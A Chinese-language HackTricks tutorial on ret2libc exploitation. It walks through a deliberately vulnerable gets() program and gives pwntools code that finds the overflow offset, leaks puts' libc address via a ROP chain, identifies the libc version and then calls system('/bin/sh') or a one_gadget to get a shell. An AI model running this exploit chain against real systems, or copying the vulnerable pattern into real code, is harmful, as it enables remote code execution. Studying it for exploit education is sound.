# Leaking libc address with ROP

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 快速总结

1. **找到**溢出**的偏移量**
2. **找到** `POP_RDI` 机关、`PUTS_PLT` 和 `MAIN` 机关
3. 使用前述机关**泄漏puts或其他libc函数的内存地址**并**找到libc版本**（[下载地址](https://libc.blukat.me)）
4. 利用库，**计算ROP并利用它**

## 其他教程和二进制文件以供练习

本教程将利用此教程中提出的代码/二进制文件进行利用：<https://tasteofsecurity.com/security/ret2libc-unknown-libc/>\
其他有用的教程：<https://made0x78.com/bseries-ret2libc/>，<https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html>

## 代码

文件名：`vuln.c`

```c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
```

```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```

## ROP - 泄露 LIBC 模板

下载 exploit 并将其放置在易受攻击的二进制文件相同的目录中，并向脚本提供所需的数据：

{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template" %}
[rop-leaking-libc-template](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template)
{% endcontent-ref %}

## 1- 查找偏移量

在继续利用之前，模板需要一个偏移量。如果未提供任何偏移量，它将执行必要的代码来查找它（默认为 `OFFSET = ""`）:

```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```

**执行** `python template.py` 会打开一个 GDB 控制台，程序会崩溃。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后在 **python** 控制台中获取 **偏移量**：

```python
from pwn import *
cyclic_find(0x6161616b)
```

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-12aff7052c754d7cc21f92a2da14c4683e88d8da%2Fimage%20\(1004\).png?alt=media)

在找到偏移量（在本例中为40）后，使用该值更改模板中的OFFSET变量。\
`OFFSET = "A" * 40`

另一种方法是使用：`pattern create 1000` -- *执行直到ret* -- 从 GEF 中执行 `pattern seach $rsp`。

## 2- 查找Gadgets

现在我们需要在二进制文件中找到ROP gadgets。这些ROP gadgets将有助于调用`puts`来查找正在使用的**libc**，并稍后**启动最终的攻击**。

```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
```

`PUTS_PLT` 用于调用 **puts 函数**。\
`MAIN_PLT` 用于在一次交互后再次调用 **主函数** 以便再次 **利用** 溢出（无限次利用）。**它用于在每个 ROP 结尾处再次调用程序**。\
**POP\_RDI** 用于向被调用函数 **传递** 参数。

在这一步中，您无需执行任何操作，因为在执行过程中 pwntools 将找到一切。

## 3- 查找 libc 库

现在是时候找出正在使用的 **libc** 库的版本。为此，我们将 **泄漏** **内存中 puts 函数** 的 **地址**，然后我们将 **搜索** puts 版本所在的库版本。

```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```

为了做到这一点，执行的代码中最重要的一行是：

```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```

这将发送一些字节，直到**覆盖** **RIP** 可能为止：`OFFSET`。\
然后，它将设置**gadget** `POP_RDI`的**地址**，以便下一个地址（`FUNC_GOT`）将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts** 并将`PUTS_GOT`的**地址**作为参数传递给它，因为内存中 puts 函数的地址保存在`PUTS_GOT`指向的地址中。\
之后，将调用`PUTS_PLT`（带有`PUTS_GOT`在**RDI**中），因此 puts 将**读取**`PUTS_GOT`中的内容（**内存中 puts 函数的地址**）并将其**打印出来**。\
最后，**再次调用 main 函数**，以便我们可以再次利用溢出。

这样，我们已经**欺骗 puts 函数**将**打印**出**puts**函数的**内存中的地址**（位于**libc**库中）。现在我们有了该地址，我们可以**查找正在使用的 libc 版本**。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-fe76944b48722c81929c222d37f45e7c39047ecd%2Fimage%20\(1046\).png?alt=media)

由于我们正在**利用**一些**本地**二进制文件，**不需要**弄清楚正在使用的**libc**版本（只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到该库）。\
但是，在远程利用案例中，我将在这里解释如何找到它：

### 3.1- 搜索 libc 版本（1）

您可以在网页上搜索正在使用的库：[https://libc.blukat.me/](https://libc.blukat.me)\
它还将允许您下载发现的**libc**版本

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-d8a16ca3bbbe478175ad654d41e95a41629c038b%2Fimage%20\(218\).png?alt=media)

### 3.2- 搜索 libc 版本（2）

您也可以执行以下操作：

* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`

这将需要一些时间，请耐心等待。\
为了使其工作，我们需要：

* Libc 符号名称：`puts`
* 泄漏的 libc 地址：`0x7ff629878690`

我们可以找出最有可能使用的**libc**。

```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```

我们得到2个匹配项（如果第一个不起作用，您应该尝试第二个）。下载第一个：

```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```

### 3.3- 泄漏的其他函数

将`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`中的libc复制到我们的工作目录。

```python
puts
printf
__libc_start_main
read
gets
```

## 4- 寻找基于libc的地址并利用

在这一点上，我们应该知道使用的libc库。由于我们正在利用一个本地二进制文件，我将仅使用:`/lib/x86_64-linux-gnu/libc.so.6`

因此，在`template.py`的开头将**libc**变量更改为：`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`

给出**libc库**的**路径**，其余的**利用将自动计算**。

在`get_addr`函数内，将计算**libc的基地址**：

```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```

{% hint style="info" %}
请注意，**最终的libc基址必须以00结尾**。如果不是这种情况，您可能已经泄漏了一个不正确的库。
{% endhint %}

然后，函数`system`的地址和字符串\_"/bin/sh"\_的**地址**将从**libc的基地址**中**计算**出来，并给出**libc库**。

```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```

最后，将准备发送/bin/sh执行利用程序：

```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction
```

让我们解释这个最终的ROP。\
最后一个ROP (`rop1`) 结束时再次调用了 main 函数，然后我们可以再次利用**溢出**（这就是为什么 `OFFSET` 再次出现在这里）。然后，我们想要调用 `POP_RDI` 指向 *"/bin/sh"* 的**地址**（`BINSH`），并调用 **system** 函数（`SYSTEM`），因为 *"/bin/sh"* 的地址将作为参数传递。\
最后，**调用 exit 函数的地址**，以便进程**正常退出**，不会生成任何警报。

**这样，利用程序将执行一个 \_/bin/sh**\_\*\* shell。\*\*

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c1652e53455e25c5e39c82b4038fd5135192cb5c%2Fimage%20\(162\).png?alt=media)

## 4(2)- 使用 ONE\_GADGET

您还可以使用 [**ONE\_GADGET** ](https://github.com/david942j/one_gadget)来获取一个 shell，而不是使用 **system** 和 **"/bin/sh"**。**ONE\_GADGET** 将在 libc 库中找到一种方法，只需一个 **ROP 地址**即可获取一个 shell。\
然而，通常会有一些约束条件，最常见且易于避免的是 `[rsp+0x30] == NULL`。由于您可以控制 **RSP** 中的值，因此只需发送一些额外的 NULL 值，就可以避免这个约束条件。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a9184dfe1ac75f4fc3c47142fed943c4cf304801%2Fimage%20\(751\).png?alt=media)

```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```

## EXPLOIT FILE

您可以在这里找到利用此漏洞的模板：

{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template" %}
[rop-leaking-libc-template](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template)
{% endcontent-ref %}

## 常见问题

### MAIN\_PLT = elf.symbols\['main'] 未找到

如果找不到"main"符号。那么您可以找到主代码所在的位置：

```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```

并手动设置地址：

```python
MAIN_PLT = 0x401080
```

### Puts未找到

如果二进制文件没有使用Puts，您应该检查是否使用了

### `sh: 1: %s%s%s%s%s%s%s%s: not found`

如果在创建所有利用后发现这个**错误**：`sh: 1: %s%s%s%s%s%s%s%s: not found`

尝试**从"/bin/sh"的地址中减去64个字节**：

```python
BINSH = next(libc.search("/bin/sh")) - 64
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
